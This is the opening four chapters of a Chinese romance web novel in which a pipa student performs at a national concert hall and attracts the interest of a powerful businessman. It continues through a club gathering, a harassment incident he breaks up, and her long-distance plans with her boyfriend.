《炽烈》 1. 第1章 四月。 京城在乍暖还寒后渐暖,枝条抽出新芽,仿若能听到在沉寂已久的冬日后,破壳的细微响动。 对陈静安来说,今天是她第一次跟大型民乐乐团合作演出,这份难得的机会是恩师周正卿提携,乐团里一半是师哥师姐,皆是行业里翘楚,平日里对她照顾有加,她也珍惜这次机会,这一个月里私下加练,十一点踩线回宿舍是常事。 陈静安六岁学琵琶,跟同时期报的舞蹈课一样,父母本意是让她学着玩,后被老师夸赞有天赋,在同龄小孩上课都难集中注意力,她弹挑轮滑、揉吟摆带打,再枯燥的基本功,都能稳扎稳打地练下来。 正如老师所说,她之后在各大比赛中夺冠,被著名演奏家周正卿教授看中,保送京大音乐学院。 距离演出不到半小时。 老师因最近身体不好并不能到现场,提前发消息,让她不要露怯。 “小学妹,紧张吗?”钟欣是陈静安同校的学姐,学的是古筝,靠着化妆台,手里握着保温杯。 “有一点。”陈静安淡笑。 化妆镜里的人着小圆襟铃兰绿的掐腰旗袍,身量纤秾合度,披着白色薄款针织外套,盘起的乌黑长发里,用白玉簪固定,松散几缕碎发,莹白如玉的耳垂上是一粒圆润珍珠,古典静雅,一眉一眼,像古画里的纤纤美人。 “真紧张还是假紧张?我可是一点都看不出来。”钟欣打趣道,在见到陈静安之前就听过她,年少成名,天赋绝佳,少女神颜,师从周正南,被堆砌各种溢美之词,她多少有些不信,耳听也不一定为真。 后来见着面,她手持琵琶弹《唐宫夜宴》,着红衣唐装,丰腴不足,灵气过人,嘈嘈切切,弹指间见大唐盛世,钟欣才知道什么叫老天爷赏饭吃。 小姑娘有天赋又努力,性子温柔又谦逊,很难让人不喜欢。 钟欣手摁着脖颈转动放松:“男朋友今天应该会来吧,再一起吃个晚餐,我是真羡慕你们年轻人。” “他今天有工作,来不了。” “啊这样啊,那太遗憾了,但工作重要。”钟欣安慰地拍她的肩。 “嗯呢。” 陈静安有位谈了快两年的男友,秦宜年追她时追的热烈轰动,闹得全校皆知,她起初只当是有钱公子哥见色起意,拒绝多次,后来他坚持大半年,知道她畏冷,大雪天里守在宿舍楼底,冻的面色发白,仍笑着从怀里掏出被体温烘着的暖水袋,少年赤忱,很难不动心。 恋爱比想象浪漫甜蜜,如同其他热恋情侣一般无二,是初恋,做的许多事都是初体验,新奇也快乐,陈静安越来越投入其中。 秦宜年算得上是一位好男友,比她大三岁,家世相貌样样出挑,好脾气,温柔绅士,对她无微不至,从追她到现在,他的好一直没变过,近段时间,秦宜年提起带她见父母,有进一步发展的意思。 陈静安在担心双方家世悬殊之余,也会想,他们以后应该会结婚吧。 因为不能来看演出,秦宜年道歉许久,她觉得没什么并不生气,演出以后还会有的。 秦宜年再三保证他应该能赶到演出结束送她回学校。 距离上台越来越近,演出的曲目是《兰陵王》,陈静安又重新将义甲绑好,活动手指,静心凝神,将自己沉浸在乐曲的情绪基调,尽早进入演出的状态。 * 国家大剧院外,观众陆续进场。 穿过水下长廊步入音乐大厅,数码墙如钢琴琴键竖立,白色浮雕天花板连绵起伏,每一笔设计,既满足建筑美学,又符合声学上的完美追求。 音乐厅观众席又分池座一楼跟楼座二层,上座率七成已是难得。 台上鼓点声起,便有如千军万马,踏着铁蹄奔来。 陈静安轻阖长睫,想象着一千四百年前兰陵王亲率骑兵突破重围奔袭洛阳城下,铁马冰河,孤标傲世。曲谱早已练习过上百遍,她要做的,是入无人之境,宣泄情绪。 她身段柔软,本该是根茎柔弱纤细的菟丝草,身体却绷着弧度,薄肩平稳,细腰如握,好奇什么力道能够将其攀折,琵琶弦上的指尖灵活弹挑,她轻抿着唇,秀气文雅,却又不止于此,细瘦的身体弹奏出的是黄沙漫天,是战场搏杀。 鼓点阵阵,是震天的战鼓,是将士的战魂,陈静安绷紧全身急扫拂,乐音推向高.潮,城内困守将士群情激昂奋起反抗,敌军溃败,四散而逃。 音乐厅里灯光通明,池座的VIP前排,男人宽阔挺拔的背影有些过于出挑,面部轮廓冷硬如削,高挺鼻梁,唇偏薄,眼廓偏深,眼尾映着淡淡阴翳,冷淡凉薄,点漆如墨的眸光里,是游刃有余,是与生俱来的矜傲。 男人的坐姿并不如其他人规整,慵懒松弛,外套下罩出肩膀紧绷的肌肉线条,眼皮半阖,骨节分明的手指支着眼廓,像是见着有趣的东西,指腹散漫地点着眉心。 中场休息。 “小姑娘看着挺年轻,基本功这么扎实。”声音很轻,飘飘然里暗含意味,“民乐里这么漂亮的,还是少见。” “小姑娘我见过,周正卿爱徒,宝贝的不行。” “周老年事已高,还在收徒?” “破例收的,见小姑娘天资聪颖,”语气稍顿,“周正卿眼光倒是毒辣,的确是块良玉。” “不过他最近这身体不行,迟早要动手术,还拖着,也是老犟种。” “……” 说话的人年岁都已经过半百,沈孝诚喝水润嗓,偏过头看同行唯一的年轻人,笑:“倒是连累你,还得陪我们这些老家伙听这些,是不是很枯燥?” “挺有意思。” “阿烈,以你的眼光来看,那位小姑娘怎么样?”沈孝诚意有所指。 沈烈抬眼故意问:“哪位小姑娘?” “弹琵琶的,穿淡绿旗袍。” “三叔,您知道,我是外行,专业的事无法评判。”沈烈扯唇,懒散地笑了下。 几个人笑了,沈孝诚放下水杯又道:“你最近风头不小,张扬成这样,也不知道随了谁。” 沈家起家要从从百年往上数,家族企业,几代人深耕易耨的结果,一惯的低调内敛,唯有沈烈,年少起便桀骜难驯,如今接管大局,更是恣意不羁,他倒觉得不是什么坏事,心狠,手段强硬,正是如今家族发展所需要的。 “大概随您。” 沈孝诚哼笑:“又在胡说八道了。” “企业发展固然离不开收购兼并,你如今这样的气势汹涌,搅动的影响力可并不小。有野心是好,但步子也不宜迈得过大。” “您说光电科技?” “这么多钱砸进去,值得吗?” “钱已经花了,三叔,监管机构已经完成批注,再过几天就已经完成交割,您要是充当我爸的说客,已经晚了。” 沈孝诚先坐正睁开,看他神情不是开玩笑,又耷下肩,笑着摇头:“我就知道,你小子要是定下的事,什么时候变过。我们都老了,往后,还是要靠你们这些年轻人。” 沈烈淡笑:“谁敢说您老?” 沈孝诚摆摆手,说人得服老,又要问他成家的想法,起了个头,中场休息时间却刚好结束,场内跟着静下来,台上的演奏家回到位置,队伍里有一条淡绿的小尾巴,旗袍从小腿开衩,小碎步,露出纤细瓷白的小腿,脚踝踝骨极细,只手可握。 沈烈目光安静。 音乐厅的灯光明亮到令人晕眩,仿佛置身于旋涡,水流湍急轰鸣,躁动不安、气势汹涌又近乎贪婪要吞没一切,而在旋涡中心,静谧而安定。 * 演出结束,陈静安随前辈们躬身谢幕,听台下掌声如雷,她才静静地呼出口气,走向后台时,钟欣递来眼神,竖起拇指。 演出成功,前辈们商量着去哪吃庆功宴。 “下雨了。” “啊,天气预报说今天晴啊,我没带伞。”钟欣走向窗边,“唰”地一声拉开帘布,外面漆黑如墨,玻璃窗晕染出的灯光,照映着如银线的雨。 “还真是。” “那改天再吃饭吧,下雨乱糟糟的。” “行吧,换哪天再通知。” 下雨不是好事,乐器不能受潮,会有损音质,前辈们大多有车,没车的也只好搭个便车,钟欣有车,要送她一程,她举着手机说男友会过来,钟欣明了,艳羡地轻啧一声:“真好,年轻时就要多谈恋爱。” “那我先走了,下次见。” “学姐慢走。” 前辈们陆续收拾妥当离开,陈静安卸好妆,再看手机时,她发给秦宜年演出结束的消息还没有回复,大概是在开车,下雨天,视野不好,她又嘱咐一句雨天路滑小心开车。 等好一会,秦宜年回消息,是道歉,他那边还没结束。 陈静安眨眼,握着手机回复:【没关系,我自己回去,你忙完早点休息。】 秦宜年问她生气吗? 也不是第一次了,陈静安知道他在家里位置尴尬,有位事事优秀的大哥,他要拼尽力气才能被看见,因此很谅解,她不生气,只是有些担忧自己没伞琵琶会不会受潮,她用轻松口吻说自己打车回去,聊完,她收好手机,提着琵琶包走出剧院。 雨势越来越大。 已经很晚,下雨天也不好打车,陈静安在剧院外等了会,小心地将琵琶护在身后。 雨声淅沥,潮湿的地面洇出生着毛边的光晕,有风,细丝偏飞,她仰头轻呼出团薄白的雾气,少女的侧脸线条柔和,被淡冷的光描摹并不过分分明,白皙面颊透着冻过的红,长睫漆黑,安静地眨眼。 不远处,黑色的劳斯莱斯不知道何时停下,副驾驶的车门被推开,着正装的男人撑着黑伞下车,从车门内侧抽出一柄黑伞。 男人撑伞走来。 “小姐,这雨一时半会儿也不会停,这伞借给您。” 陈静安愣了片刻,对于陌生人的好意,有感激,更多是局促,她摆着手解释说自己已经打好车。 “车只能停在路边,跑过去还是会淋雨不是吗?”男人模样周正,温和地笑笑,指着不远处的车:“伞是我家先生吩咐给您的。” 陈静安看过去,只看到那辆黑色的车停靠路边。 “那您方便留个地址吗?到时候我将伞寄回来。” 男人将伞递过来,“先生说了,他很喜欢您的演出,不如这伞就等下次小姐您演出时再归还。” 泼墨车身有熠亮的光,雨雾里,车前灯仍开着,照出如织的雨丝,她看不见车里的人,猜想对方应该在看着自己,于是,她拿过伞,略微挪动步子,朝着车停的位置,欠身颔首。 2. 第2章 陈静安在门禁前回宿舍,检查琵琶包没有淋雨,才收伞,抖掉雨水,檐外的雨势如注,她感激那位借伞的先生,让她不必在下车时冒雨跑回宿舍楼。 宿舍里室友阮灵敷着面膜,开着电脑看综艺,看她回来,问:“静安回来了,演出怎么样?” “还可以。” “我就知道你肯定没问题的,我真的好羡慕你啊,能跟那么多业内大佬合作,还是在国家剧院,”阮灵转过椅子,视线落在她手里的长柄黑伞,“静安,这伞是秦公子给你的吗?” “不是,”陈静安正在想将伞放哪,“我没带伞,有位好心先生借的。” “好心先生?开劳斯莱斯的好心先生?” 阮灵起身拿过伞,双R的标志,“这伞听说十万一把,就这么借给你。” “十万?”陈静安有些咂舌。 “这么说也不对,这伞是放劳斯莱斯车内侧,大概估算值这个价,想买这伞,得买辆车。所以这位好心的先生,应该非富即贵。”阮灵拎着伞,捏捏手柄摸摸伞布,又手持手机拍几张照。 “可恶,我什么时候也能这么有钱,随手一把伞就能抵过普通人一年的工资啊?” 陈静安倒有些头疼,她没想到一把伞能这么贵重,对方说下次演出再归还,她不确定,他是真的会看她下场演出,还是只是说说而已,有钱人并不将一把伞当回事。 “对啦,那位好心先生长什么样?”阮灵放下伞,好奇追问,现实里的有钱人肚大头秃总让人有些幻灭。 “不知道,送伞的应该是他的司机或者助理。” “也是,这种事用不着有钱人自己做,没看见也挺好,起码还留有幻想空间。”阮灵扯下面膜,拍着脸往洗手间去。 陈静安只好将伞束之高阁,小心存放,这伞是一定要归还的。 * 周末,秦宜年约陈静安见面,介绍朋友给她认识。他来学校接人,车上时问起演出,捏着她的手道歉,陈静安的手型很漂亮,肤白,手指直且纤细,只是指腹不像其他女生,生着茧,是长年累月弹琵琶形成的。他心疼的来回揉捏,尽管这里早就不疼了。 “没关系的,演出很成功,乐团的前辈跟老师一直在夸我,我都有些飘飘然了。”陈静安轻声道。 “这么说来,没能亲耳听到陈老师高超打演奏水准,是我的损失了。” 陈静安抿唇笑笑,眼波流转,说不出的娇俏,点头道:“这样说,也没错。” “不害臊。” 秦宜年哼笑,轻点她的鼻尖,坐正身子,发动引擎开车。 见面的地点约在家私人会所,其他人已经先到,秦宜年牵着陈静安的手,轻车熟路地走过段长廊,侍者叫了声秦公子,将门推开,里面的陈设一览无余,古色古香,暗色灯光,静谧古典,山水墨画的屏风,白鹤栩栩如生,梨花木的长桌高椅,影青花口茶盏,釉质莹亮。 屋内面积上百平,支着张牌桌,桌边围坐一圈人,烟雾徐徐,罩着一张张年轻面孔。 “二哥来了。” “嗬,这就是二嫂啊!” 众人听声望过去,视线整齐地停在秦宜年身边的女孩身上,瘦高个儿,简单的薄款针织杂色内搭,罩着件杏色的短款毛衣外套,下身搭着条牛仔裤,白色运动鞋。披肩长发,发尾卷起赏心悦目的弧度,巴掌脸,弯弯的柳叶眉,杏眸温柔安静。 温婉舒服的书卷气,漂亮用在她身上难免有些俗气,非要用个词,那就是干净。 被这么多人盯着,陈静安只好看向秦宜年。 “知道是二嫂还不赶紧腾出位置?谁抽这么多,乌烟瘴气,怎么坐人?”秦宜年笑骂一声,带着陈静安往里走,牌桌边立刻腾出位置来,有人笑嘻嘻地灭烟,又拿手扇浓烟,笑着赔罪,说再也不抽了。 “陈静安,音乐学校大三学生,也是琵琶演奏家,年纪小,说话都注意点,别把我女朋友给吓跑了。”秦宜年揽着她的肩,半正经半开玩笑。 在场的人虽然之前没见过陈静安,但都知道秦宜年之前画空心思追一位女学生大半年的事,现在更是动了结婚的念头,都知道秦宜年这次是来真的,所以嘴上少不了揶揄,但态度端端正正,拿她当未来嫂子看待。 “这是我发小,陶伦,从小一起光屁股长大的。” “你好。” 一圈挨个介绍给陈静安后,开始玩牌,她不会,坐在秦宜年身边看他玩,玩过好几圈,秦宜年见她无聊,便让她上桌,自己则在边上指点,奈何陈静安手生,几圈下来,桌上的筹码一点点被清空。 “谢谢,谢谢老板,今晚的宵夜我请了。”陶伦朝陈静安装模作样地作揖。 陈静安面皮薄,脸更红了,扭头看向身后的秦宜年,单只手臂搭着桌面,肩膀往下塌,另一只手托着腮边:“嗳,怎么办,害你输光了。” 吴侬软语,软糯婉转。 目光明亮,双颊淡红,娇俏灵动。 秦宜年倒是不在乎这点钱,听她语调软糯,心里一角跟着塌陷,正要贴过去逗她该怎么赔自己时,门外又有动静,一行人抬步进来,谈笑声,话里话外,是生意场上的事,中间位置的个高挺拔,眉眼深幽。 认出是谁,秦宜年不悦地皱眉,刚才的好心情一扫而空。 陈静安也注意到来人。 她知道这里不是包间,除了秦宜年跟他朋友,还有其他人,但都是三三两两进来,没见过这样的阵仗。会所的经理在前招呼,在场的牌也不打了,起身,纷纷含腰点头打招呼。 万众瞩目,众星捧月。 “沈总。” “沈总,赏脸一起玩?” 为首的闲庭信步,点头,嗓音低沉:“你们玩。” 好似他才是一直在场,后来者另有其人,举手投足间便已经反客为主,他的闲适,游刃有余,反衬其他人局促。 “烈哥,过来玩?”陶伦端着张笑脸。 对方只是轻扯唇,算是回应,态度甚至算不上轻蔑,只是上位者对下时一惯的冷淡。陈静安从小生长的环境与现在是天差地别,只觉得眼前的名利场有些夸张,她手臂搭着牌桌,微微侧身,目光有出神时的茫然涣散,直到一道视线看过来,眼神忽然聚焦,猝不及防的四目相对。 像隐入刀鞘的利刃,漫不经心的,随意的,漠然的。 对视的刹那并不觉得多锐利,反而在慌张移开视线后,利刃才出鞘,冷光刺骨,侵入性的寒气有入骨胆寒。 陈静安有些不适地抿唇垂眼,不该好奇的。 好在并未持续太久,一行人被迎上楼。 “晦气。”秦宜年往后瘫倒,一只手臂搭在陈静安的椅背上。 陶伦坐下来,嘴角噙着意味深长的笑意:“你猜在座的多少人跟你一张脸,那有怎么样,太子爷一过来,哪一张嘴不得笑烂?” “你说自个儿?” 陶伦不以为意笑笑:“是是是,我骨头软。” 眼一撇见陈静安:“让静安妹妹看笑话了不是,那位,跟你们家这位不是很对付。” 真要说也算不上不对付,或者单方面的敌意。 在这圈子里,也得分三六九等,沈烈所在的,是顶端,上层的人,不会在意下面的人怎么看。 “为什么?”陈静安问。 “道不同,只是见不惯仗着家势为非作歹的纨绔子,做人心狠手辣,为达目的不择手段,说到底也只是衣冠楚楚的混球。”秦宜年扯唇语气有些差。 “生意场上,谁又真干净?你大哥最近倒是一直想搭上这条线,多少钱砸进去,连张入场券都没换来。” “我大哥也是天真,跟这种人混,能得什么好?” “……” 陈静安听他们聊,生意上的事情她不懂,只听个七七八八,大概是沈烈手段太狠,仗着位高权重,没少做恶意收购这些昧良心的事。沈家人脉交织如网,笼罩着全国上上下下,一手的消息从来不缺,但他多是以假乱真,表面下平平静静,不动声色,实际另有打算,那些跟进跟卖的人常常到最后才知道被摆一道。 不讲道义,更遑论人性。 秦宜年对沈烈的厌恶是经年累月的结果,两个人同龄,少不了被拿出来被比较。 他事事比不过,常常被骂的一文不值。 对此,秦宜年嗤之以鼻,他不屑跟一个小人比。 陈静安垂着眼睫,有些出神,她还是第一次听男友这样评价一个人,他是和煦爽朗的性格,很少跟人过不去,意外之余,也觉得这位大概的确不是什么善茬。 “总之呢,不是什么好人,见着这人,以后见到,记住绕道。”秦宜年话音一转,揉揉她的头发。 陶伦牙酸的调侃:“谁是好人,你是?” “滚。”秦宜年笑骂一声,抬脚踢过去。 陈静安淡笑。 她跟这种人肯定不会有什么交集,到现在她还记得对方的目光,眸黑眼亮,让人不太舒服,冰冷,锐利,霸道,还有点说不出的感觉。 3. 第3章 牌桌继续,陈静安输太多再不肯继续,秦宜年捏捏她的脸,笑着说她输掉的他负责全赢回来,陶伦笑让他放马过来,众人嬉笑一阵,兑换筹码,推牌重来。 陈静安在秦宜年身边看牌,她其实不太喜欢这种场面,陶伦他们说的话开的玩笑,都让她无所适从,多数时候只能装傻笑笑,秦宜年跟她相反,他比其他时候更惬意放松。 中途,陈静安起身去洗手间。 室友打来问她什么时候回来,她看着洗手池上挂着古典钟表的时间,回十一点之前,又闲聊几句后挂电话,她放下手机,擦干手上的水迹,出去时迎面差点撞上人,没看脸就忙着道歉。 “秦二少的女朋友?” 陈静安抬头,一张陌生男性面孔,粗眉细眼,看她时从下往上的打量,目光轻飘。 “不记得了?刚还打过照面。” 男人往前一步,闻见淡淡的清雅香味,很快,那香味更淡,对方往后退一步,他盯着那张素净的脸,低笑一声:“说起来,秦二见我也要叫声达哥,你该跟着一块叫。你用的什么香,怎么这么好闻?回去我也让人买来用用。” “抱歉。” 陈静安不想跟眼前人纠缠,绕步要走,刚走两步,对方又堵上来,笑嘻嘻插兜,说她禁不住逗。 “你要就这么走了,秦二还以为我怎么着你了。出来玩不能太小子家子气,都是一个圈的朋友,抬头不见低头见的,还能为个女人闹得不愉快?我也是好意,我身边那位也是你们音乐学院的,见见,交个朋友?” “请让开。”陈静安抿唇。 “让开也行,那你先说,用的什么香水?”男人含含糊糊地笑。 陈静安懒得多说,走一步对方就挪一步挡着,她拧眉,被对方面皮厚度气到,眼下又不知道怎么摆脱,仓促难堪间,瞥见男人身后角落靠窗位置站着人。 他应当很早就在了,窗户映出他的英挺的轮廓剪影,修长的手指间夹着根烟,略低着头,双颊微吸,猩红一点,将燃的火光,薄白眼皮懒懒掀起看过来,隔着吞吐出的烟雾,散漫到骨子里,有作壁上观的意趣。 旁观者的出现,无疑让场面更难堪。 让人没办法忽视的存在感。 陈静安生出些恼意,只想尽快离开,对方不依不饶,见她真急着要走,抓住她的手腕往自己身边扯,冰冷滑腻的恶心触感让全身汗毛倒竖,想也没想,一巴掌就照直甩出去。 力道不大,但在空旷安静的环境下,显得格外异常突兀。 对方偏着头,舌头抵了抵被打的那边面颊,意想不到地眨了几下眼,转头盯着她,呵出声冷笑:“这笔账我是跟你算,还是跟秦二算?” “你放手!”陈静安低声冷斥。 “我总不能白挨这一下。”对方攥的更紧,拇指重重研磨着手腕皮肤,咬着牙,“我还是第一次被女人打。” 陈静安双眸冷清回盯着他:“你再不放手,我就报警。” “报吧。” “我是不是还得配合着你再做点什么?”男人欺身就要靠过来。 陈静安被气得手指发颤,她还未出学校,见识过的人不多,这样寡廉鲜耻的人显然是头一个,她攥紧手指,早做好再甩一巴掌的准备,但转念一想,即便再打一巴掌又能怎么样,体力悬殊,她没办法占优势。 烟酒气息混杂着男人的体味,熏得她目眩恶心,情急之下,她偏过脸,目光越过他,看向角落的位置,强装镇定:“如果警察到了,能麻烦先生做个证人吗?” 嗓音清凌凌的。 如若仔细听,声线并不那么稳。 陈静安没想过对方会帮她,她从男友口中听到太多关于他的□□,这种生来便处在高位的掌控者,骨子里是彻头彻尾的斯文败类,缺乏共情,更不会有怜悯心,有的只是与生俱来的淡漠。 陈静安只是想借势,沈烈的身份摆在这,再者有其他人在,眼前的男人再怎么样也会忌惮几分。 但那双漆黑眸底看着她时,手心紧张到冒出冷汗。 陈静安几乎瞬间想起大厅时的目光,一时喉咙干涩,跟之前有差别,沈烈只是耐人玩味地垂了垂眼皮,像午后打盹醒来的兽,发现猎物亲自上门,意外又有些趣味。突然后悔,她不该招惹他的。 如果,沈烈直接漠视走掉怎么办? 陈静安不知道,但凡有其他办法,她也不会选择这条路。 “唬我?有人又怎么样,我什么时候怕……”男人认定她在玩把戏,随意地扭转头才看见角落处的人,话没说完脸色就变了,讪讪笑出声,“烈哥,您什么时候来的。” 沈烈目光未动,在陈静安的脸上,仿佛能洞悉她那点小心思一般,她紧张地咬紧后槽牙,回视的目光越发坚定,指间的半支烟横支着一小截烟灰,将落未落的,他不紧不慢地将烟摁灭,那点火光无声无息熄灭。 周遭很静。 陈静安强撑着。 男人手仍没放,他清楚沈烈,不是什么热心市民,应当是出来抽烟打电话,电话打完,烟也抽完,人就该走了,他不管闲事。 他脸上赔着笑,讨好的,自顾自的说了好些恭维跟攀关系的话。 但出乎意外的,沈烈没搭腔,也没走,在抬眼时从陈静安的脸上移至被攥紧的手:“行了。” 慢悠悠的一声,嗓音低沉,有着被烟雾燎过的沙哑质感,极具辨识度。 那一瞬,身体像是被抽光力气,陈静安握紧的手指又放开,她赌对了。 男人意会沈烈指的什么,尴尬笑笑:“烈哥,我们认识的,在逗着玩。” “还想再挨一巴掌?”沈烈问。 看着挺瘦,动起手来倒不轻,也聪明,知道利用他。 “哈哈,我这是开玩笑,误会误会。” 男人赔笑着放开手,掩饰性咳嗽几声,指着另一个方向:“诶都催我回去打牌,烈哥,我先回去。” 走得倒快,仿佛被鬼撵。 陈静安握着被捏红的手腕,她眼眶有红意,氤氲着的湿意,眸底明亮,并没有眼泪掉下来,她抿着唇,心情平复后才对着沈烈微微点头,语气有些僵硬说了声谢谢。 “听着很勉强。” 沈烈将摁灭的烟丢进垃圾桶,他没穿外套,只套着白衬衫,领口的扣子应当是被拽开,拽出脖颈处的衣料不受约束的褶皱,衣领偏向一侧耷拉着,他抬腿走过来,距离她几步停下来,看她。 的确有些勉强。 陈静安不得不承认,对他有先入为主的偏见,再加上他刚才的隔岸观火,算不上什么正人君子,但对方到底出声帮了她,陈静安抿了下唇,这一次的致谢要比上一次诚心许多。 “先生,谢谢。” “秦二呢?” 陈静安有些惊诧,过后才回:“在大厅里。” 沈烈鼻腔微哼。 很奇怪,他分明远远站着,陈静安仿佛闻到他身上的气息,像是大雪天,踽踽独行时见被大雪压垮的松树枝,扑面而来的冷意,冷清中沉郁的木质味道。 这味道,具有侵略性。 男友的话还在耳边,陈静安打算礼貌性点头后就马上离开,一刻也不想停留般地,她垂眼,到嘴边的话还未说出口就被堵住。 “既然将人带过来,至少也得全须全尾送回去。”缓慢的语气,稀薄的讽意。 陈静安拧眉。 沈烈面色从容:“他配不上你。” 一瞬的沉默,陈静安反应两秒时间,听懂他的话外之音,她才觉得讽刺,睁眼蹙眉,才明白他跟前面那位“达哥”并不差别,或许有,也是那位“达哥”是混蛋,而他则是衣冠楚楚的混蛋,在那副优越皮囊下,也不过是下流又浮浪的心肠。 “那您呢?” 陈静安抬头,眸光清寒。 沈烈扯动唇角,并没有打断她,看她抿唇竖眉生气模样,眼尾略往下耷,甚至有些鼓励她继续说下去的意味。 陈静安做了个细微吞咽动作,梗着脖颈,清冷脸蛋全是倔意:“既然从一开始就看见,至少也得出声制止不是吗?在阴暗处看戏的您,跟那位似乎并无差别。我很感激您在最后选择出声帮忙,谢谢,谢谢您并没完全泯灭的人性。” 话说的太快,甚至没来得及过脑。陈静安绷着脸说完,再次低头道谢后转身抬腿离开,动作流畅一气呵成。 她感受到背后的那道视线,炽烈灼热,似乎衣料将燃起来。 说完才知道后怕,但就如同上台演出,再怕也不能露怯让人看笑话,挺胸抬头,绷直着肩背,不急不缓迈步。 沈烈没动,饶有兴趣地看着她强装镇定绷直的背影,好奇会不会露馅踏错步。背影消失在转角。 她没有。 沈烈垂眼,眼睑处落下阴影,他摸过烟盒抽出一支烟点燃,唇角含着,吸入的烟雾闷在唇齿里翻滚,辛辣醇烈,仰头,流畅绷紧的脖颈线条,火星明灭,许久才吐出来,透过烟雾,隐约见上扬的弧度唇线。 4. 第4章 会所二楼区别于大厅,同样会员制,门槛更高,条件严苛,有人数限制,只有高级会员退出,才会有新的补入名额。 沈烈在姜达几分钟回来,脸上神色淡的几乎没有,接过侍者递过的已擦过巧粉的台球杆,俯身开球,跟平时出去接电话抽烟后没区别,几分钟能干什么,不一定真对那女的特殊照顾。姜达这才放心,以玩笑的口吻说出刚才的事,没谈及沈烈,那并不是他能嚼舌根的对象。 而沈烈也如他所想,没反应,自顾自打球。 “陈静安?秦二那位宝贝女朋友?” 姜达呵笑一声:“是长得不错,有气质,换我我也宝贝。” 可惜人挺傲,不会来事。 知情人握着球杆,意有所指道:“那位跟你身边的这位可不太一样,人姑娘是正经女朋友,秦二花了大半年才追到手,你跟人交朋友,你让秦二怎么想?” 这句话让姜达身边的高个女生不乐意了,半嗔半怪地问:“怎么不一样,那我是什么?” 姜达乐了,握着她的肩头揉揉:“你啊,你是不正经女朋友。” “讨厌!” 众人笑笑。 “秦二这次是玩真的,听秦元明的意思,他这位弟弟有将人带回去的想法,这是动了结婚的念头。” “哟,比那位小画家还要喜欢?” 圈子里或多或少都知道这段往事,几年前,秦宜年为了这位小画家几乎跟家里决裂,最后小画家被送走,被断了经济往来秦宜年没坚持多久灰扑扑的回来,从此老实得多。 “这不好说,但看样子,是小画家之后,最用心的一位。” “初恋嘛,意义总不一样。” “有什么不一样,你还记得你初恋叫什么?” 被问的眯眼笑,作思索的样子:“你问哪一位?” “?” “每一位都是初恋。” “他妈的,还是你不要脸啊。” “……” “叫什么?”语气很淡。 姜达满面红光,还在夸夸其谈,闻声止住,扭头看沈烈,他深俯下身,手指展开又曲起弧度,球杆贴着绷紧的下颌线,慢条斯理调整着角度。 室内的人对望一眼,还是有个比较机灵的率先试探性问:“那位小画家?” 没回应,没说是,也没说不是。 于是大胆答:“徐若晴。” 沈烈没说什么,只是面色平静,一杆击出,母球率先撞击案边,划出小锐角改变路线,撞击上黑球,黑球碰撞上黄球,圆球骨碌碌滚动,一记轻声脆响,两只球前后落网。 干脆利落的勾杆。 — 出会所时已经不早,车窗外的夜色像受潮的水墨画,街道潮湿,投映的橘色灯光晕出不规则毛边。 助理纪弘汇报明天的日程,工作行程安排满当,跟其他时候没差,沈烈没女朋友,生活时间跟工作时间并不分明,汇报完毕,沈烈忽然问起秦元明,纪弘反应过来问是否要安排,秦元明想请沈烈吃顿饭不是一天两天,时间太久,助理没再当回事,没想到老板主动提起。 “嗯。” 沈烈靠着椅背,脸隐在阴影处,五官越发立体。 秦元明一直想搭上沈家这条线,却没想到这么突然。 这顿饭选在京城顶奢的地段,秦元明诚意很足,清楚沈烈什么没见过,就往他的喜好上钻研,知道沈烈在吃上有自己的品鉴,食材是当天空运,保证新鲜,极简的烹饪方式,尽可能保持食材的原味。酒当然选择最好的年份,刚好的醒酒时间。 秦元明能力不差,又有审时度势的本事,提起秦家如今发展,没有目空一切的吹嘘,也没有过度自谦的虚伪,适时将话题引到合作,秦家不错,只是缺乏资金,假以时日,又是另一番景象……他说很多,沈烈很少顺着搭腔,他的注意力在食材跟酒。 “95年的,玫瑰、皮革气息,前调细腻温柔,后调强劲饱满。”秦元明在这一块做了功课。 “秦总对酒有研究?” “投其所好,临时抱佛脚而已,在沈总面前献丑了。” 两人对视,笑了下,沈烈放下酒杯,慢条斯理擦了擦唇边,提到光电科技,秦元明也知道,沈烈大手笔购入其百分之八十股份,从此将牢牢掌控新能源及半导体上下游核心环节,将影响全国局势,秦家没这个能力吃下这整块蛋糕,但能分得一小份就足够改写秦家未来发展。 秦元明心潮澎湃,隐隐有所期待。 聊到关键处,沈烈却话音一转,话题岔开到秦宜年:“前几天见到秦二,你们俩兄弟倒不怎么像。” 这句话突然的很,饶是秦元明也没能反应过来,懵了会儿才附和笑笑说他这个弟弟不太撑起,跟沈烈明明是同龄,结果却天差地别,至今还是小孩子心性,爱玩没个定性让人头疼:“也不知道什么时候能让我跟爸妈省心点?” 沈烈没直接接话,轻抿了口酒,唇齿间馥郁香气经久不散,酒的确是好酒,他倾斜轻晃着石榴色泽酒液,长挂杯,酒液缓慢回流。 许久,才道: “不小了。” — 秦宜年打来电话时陈静安已经洗过澡,头发没完全吹干,半湿搭在两肩,素净的脸上瞳仁分明。那天会所发生的事情她没跟任何人说,后面悄无声息并没有生出事端,她也渐渐将这件事抛之脑后。 这会儿她对照着手机屏幕里的自己擦起面霜,秦宜年静静看许久,唇畔带笑,伸出手指头点屏幕:“我老婆真好看。” 陈静安略歪着头,装模作样纠正:“还不是老婆,不许乱叫。” “这是催我呢,等着急了?” “你又在胡说。”陈静安抿唇笑,赖不过他。 秦宜年跟着揶揄几句,忽然顿声,面色惆怅:“我大哥前天找我谈话,想让我接管一个全新的项目。” 陈静安合上面霜,看他:“怎么了,不是挺好的吗?” “是挺好,但这项目不在本市,如果我接手,我就要去别的城市。” “在哪里?” “滨城。我是真不愿意跟你分开。” 陈静安也一样,她打开地图软件,那是一千两百公里外的沿海城市,做不到随心所欲见面,但再舍不得,也希望他能如愿做出一番事业:“嗯,没关系的,有时间我会来看你。” “还是我来吧,陈大师只需要安心练习。”秦宜年甚至有些激动地设想起未来,“这项目不小,要真能做好我爸妈跟大哥都会开心,他们一开心,什么都好说。等我回来,我们一起见我爸妈,你这么好,他们肯定很喜欢。” “然后我们结婚,生小孩,你说生几个好……” 秦宜年描述的未来过于顺遂美好,陈静安也忍不住甜蜜发呆。 阮灵洗澡出来,头发还包着干发巾,听到两个即将要异地的消息,提醒道:“异地恋可是很危险的,你们俩真的考虑好了?” “我相信他。”陈静安手托脸看她。 秦宜年也能听到,作出恍然大悟又深以为然的神情,语气故作严肃:“那就拜托阮小姐费点心,让静安身边那些莺莺燕燕安分点,等我跟静安的婚礼,你坐主桌。” “是。”阮灵做个敬礼的姿势,“保证完成任务。” 陈静安扶额,被俩人一唱一和逗笑,闲聊几句才挂断电话。 